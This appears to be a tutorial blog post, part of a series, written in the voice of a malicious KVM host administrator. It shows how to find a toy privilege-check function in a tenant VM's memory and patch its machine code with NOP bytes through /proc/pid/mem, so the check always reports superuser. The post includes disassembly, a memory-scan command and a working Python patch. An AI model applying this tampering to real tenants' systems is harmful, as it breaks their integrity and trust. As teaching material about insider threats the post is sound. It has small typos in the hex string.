We are continuing our journey as an evil KVM administrator who wants to mess with a tenants virtual machines.
This time we will modify a binary execution code path by changing machine code opcodes in a running process!
Let’s image a simple C program, that looks like this:
#include <stdio.h>
#include <unistd.h>
int check_priv() {
int uid = getuid();
if(uid == 0 || uid == 666) {
return 0;
} else {
return -1;
}
}
int main() {
while(1) {
if(check_priv() == 0) {
printf("You are a superuser!\n");
} else {
printf("You are not that super\n");
}
sleep(1);
}
return 0;
}
This short code will show "You are a superuser!" if our UID is 0 or 666 and in all other cases it will show "You are not that super".
After compiling and executing the code, you will see the following output:
[oracle@dbVictim ~]$ ./check_privs
You are not that super
You are not that super
You are not that super
You are not that super
^C
Let’s disassemble check_priv function to understand what is going on under the hood:
(gdb) disas /r check_priv
Dump of assembler code for function check_priv:
0x0000000000400616 <+0>: 55 push %rbp
0x0000000000400617 <+1>: 48 89 e5 mov %rsp,%rbp
0x000000000040061a <+4>: 48 83 ec 10 sub $0x10,%rsp
0x000000000040061e <+8>: e8 ed fe ff ff callq 0x400510 <getuid@plt>
0x0000000000400623 <+13>: 89 45 fc mov %eax,-0x4(%rbp)
0x0000000000400626 <+16>: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
0x000000000040062a <+20>: 74 09 je 0x400635 <check_priv+31>
0x000000000040062c <+22>: 81 7d fc 9a 02 00 00 cmpl $0x29a,-0x4(%rbp)
0x0000000000400633 <+29>: 75 07 jne 0x40063c <check_priv+38>
0x0000000000400635 <+31>: b8 00 00 00 00 mov $0x0,%eax
0x000000000040063a <+36>: eb 05 jmp 0x400641 <check_priv+43>
0x000000000040063c <+38>: b8 ff ff ff ff mov $0xffffffff,%eax
0x0000000000400641 <+43>: c9 leaveq
0x0000000000400642 <+44>: c3 req
- callq 0x400510 <getuid@plt>: here we are calling a getuid function – the result of this function is stored at EAX register;
- mov %eax,-0x4(%rbp): in here we are storing the EAX register value at memory offset, pointed by RBP, minus 4 bytes;
- cmpl $0x0,-0x4(%rbp): this is comparing "0″ and a value on a memory offset we used earlier to store the result from getuid function;
- je 0x400635 <check_priv+31>: if the compared values are equal – jump to the 31th byte of this function;
- cmpl $0x29a,-0x4(%rbp): now compare 0x29a (666) with the memory offset we used earlier to store the result from getuid function ;
- jne 0x40063c <check_priv+38>: if they are not equal – jump to the 38th byte of the function ;
- mov $0x0,%eax: store value "0″ on the return registry;
- jmp 0x400641 <check_priv+43>: jump to byte 43 of this function;
- mov $0xffffffff,%eax: set value "-1″ on the return registry;
- leaveq: Prepares the stack for leaving a function
- retq: return from the function
As you can see, depending on the jump instructions, the return registry is either set with value 0 or with value -1. We want it to be set always to value "0″.
When this would be possible? There’s an awesome instruction called NOP – it basically means: "do nothing and check next byte".
So we would like our code to look like this in the assembly:
Dump of assembler code for function check_priv:
0x0000000000400616 <+0>: 55 push %rbp
0x0000000000400617 <+1>: 48 89 e5 mov %rsp,%rbp
0x000000000040061a <+4>: 48 83 ec 10 sub $0x10,%rsp
0x000000000040061e <+8>: e8 ed fe ff ff callq 0x400510 <getuid@plt>
0x0000000000400623 <+13>: 90 nop
0x0000000000400624 <+14>: 90 nop
0x0000000000400625 <+15>: 90 nop
0x0000000000400626 <+16>: 90 nop
0x0000000000400627 <+17>: 90 nop
0x0000000000400628 <+18>: 90 nop
0x0000000000400629 <+19>: 90 nop
0x000000000040062a <+20>: 90 nop
0x000000000040062b <+21>: 90 nop
0x000000000040062c <+22>: 90 nop
0x000000000040062d <+23>: 90 nop
0x000000000040062e <+24>: 90 nop
0x000000000040062f <+25>: 90 nop
0x0000000000400630 <+26>: 90 nop
0x0000000000400631 <+27>: 90 nop
0x0000000000400632 <+28>: 90 nop
0x0000000000400633 <+29>: 90 nop
0x0000000000400634 <+30>: 90 nop
0x0000000000400635 <+31>: b8 00 00 00 00 mov $0x0,%eax
0x000000000040063a <+36>: eb 05 jmp 0x400641 <check_priv+43>
0x000000000040063c <+38>: b8 ff ff ff ff mov $0xffffffff,%eax
The binary code of our function looks right now like this: "55 48 89 e5 48 83 ec 10 e8 ed fe ff3 7d fc 00 74 09 81 7d fc 9a 02 00 00 75 07 b8 00 00 00 00 eb 05 b8 ff ff ff ff c9 c3″
As an evil KVM administrator, I could find this piece of code running inside a VM:
./focs_vm/target/release/focs_vm -p 15800 -m $((6291456*1024)) -h "55 48 89 e5 48 83 ec 10 e8 ed fe ff3 7d fc 00 74 09 81 7d fc 9a 02 00 00 75 07 b8 00 00 00 00 eb 05 b8 ff ff ff ff c9 c3"
Scanned: 64 %
Found 1 positions in a chunk
Offset: 140697484953110
Length: 256 (0x100) bytes
0000: 55 48 89 e5 48 83 ec 10 e8 ed fe ff ff 89 45 fc UH..H.........E.
0010: 83 7d fc 00 74 09 81 7d fc 9a 02 00 00 75 07 b8 .}..t..}.....u..
0020: 00 00 00 00 eb 05 b8 ff ff ff ff c9 c3 55 48 89 .............UH.
0030: e5 b8 00 00 00 00 e8 c5 ff ff ff 85 c0 75 0c bf .............u..
0040: 18 07 40 00 e8 a1 fe ff ff eb 0a bf 2d 07 40 00 ..@.........-.@.
0050: e8 95 fe ff ff bf 01 00 00 00 e8 ab fe ff ff eb ................
0060: d0 66 0f 1f 84 00 00 00 00 00 f3 0f 1e fa 41 57 .f............AW
0070: 49 89 d7 41 56 49 89 f6 41 55 41 89 fd 41 54 4c I..AVI..AUA..ATL
0080: 8d 25 64 07 20 00 55 48 8d 2d 64 07 20 00 53 4c .%d. .UH.-d. .SL
0090: 29 e5 48 83 ec 08 e8 1f fe ff ff 48 c1 fd 03 74 ).H........H...t
00a0: 1f 31 db 0f 1f 80 00 00 00 00 4c 89 fa 4c 89 f6 .1........L..L..
00b0: 44 89 ef 41 ff 14 dc 48 83 c3 01 48 39 dd 75 ea D..A...H...H9.u.
00c0: 48 83 c4 08 5b 5d 41 5c 41 5d 41 5e 41 5f c3 66 H...[]A\A]A^A_.f
00d0: 66 2e 0f 1f 84 00 00 00 00 00 f3 0f 1e fa c3 00 f...............
00e0: 00 00 f3 0f 1e fa 48 83 ec 08 48 83 c4 08 c3 00 ......H...H.....
00f0: 00 00 01 00 02 00 00 00 00 00 00 00 00 00 00 00 ................
Now we can try to modify binary this part of the memory to change execution path of our program:
>>> import binascii
>>> f = open("/proc/15800/mem", "rb+")
>>> f.seek(140697484953110+13)
>>> nop = binascii.unhexlify("90")
>>> for i in range(17):
... nop += binascii.unhexlify("90")
...
>>> len(nop)
18
>>> f.write(nop)
>>> f.flush()
By doing this, I jumped 13 bytes further than the beginning of my function and I added 18 NOP instructions, to jump directly to offset @31 and force my function to return desired value!
On my victim machine I will immediately see the desired output:
You are not that super
You are not that super
You are not that super
You are not that super
You are not that super
You are a superuser!
You are a superuser!
You are a superuser!
You are a superuser!
You are a superuser!
And that’s it! We have changed the assembly of our program to do what we wanted 🙂
Stay tuned for more!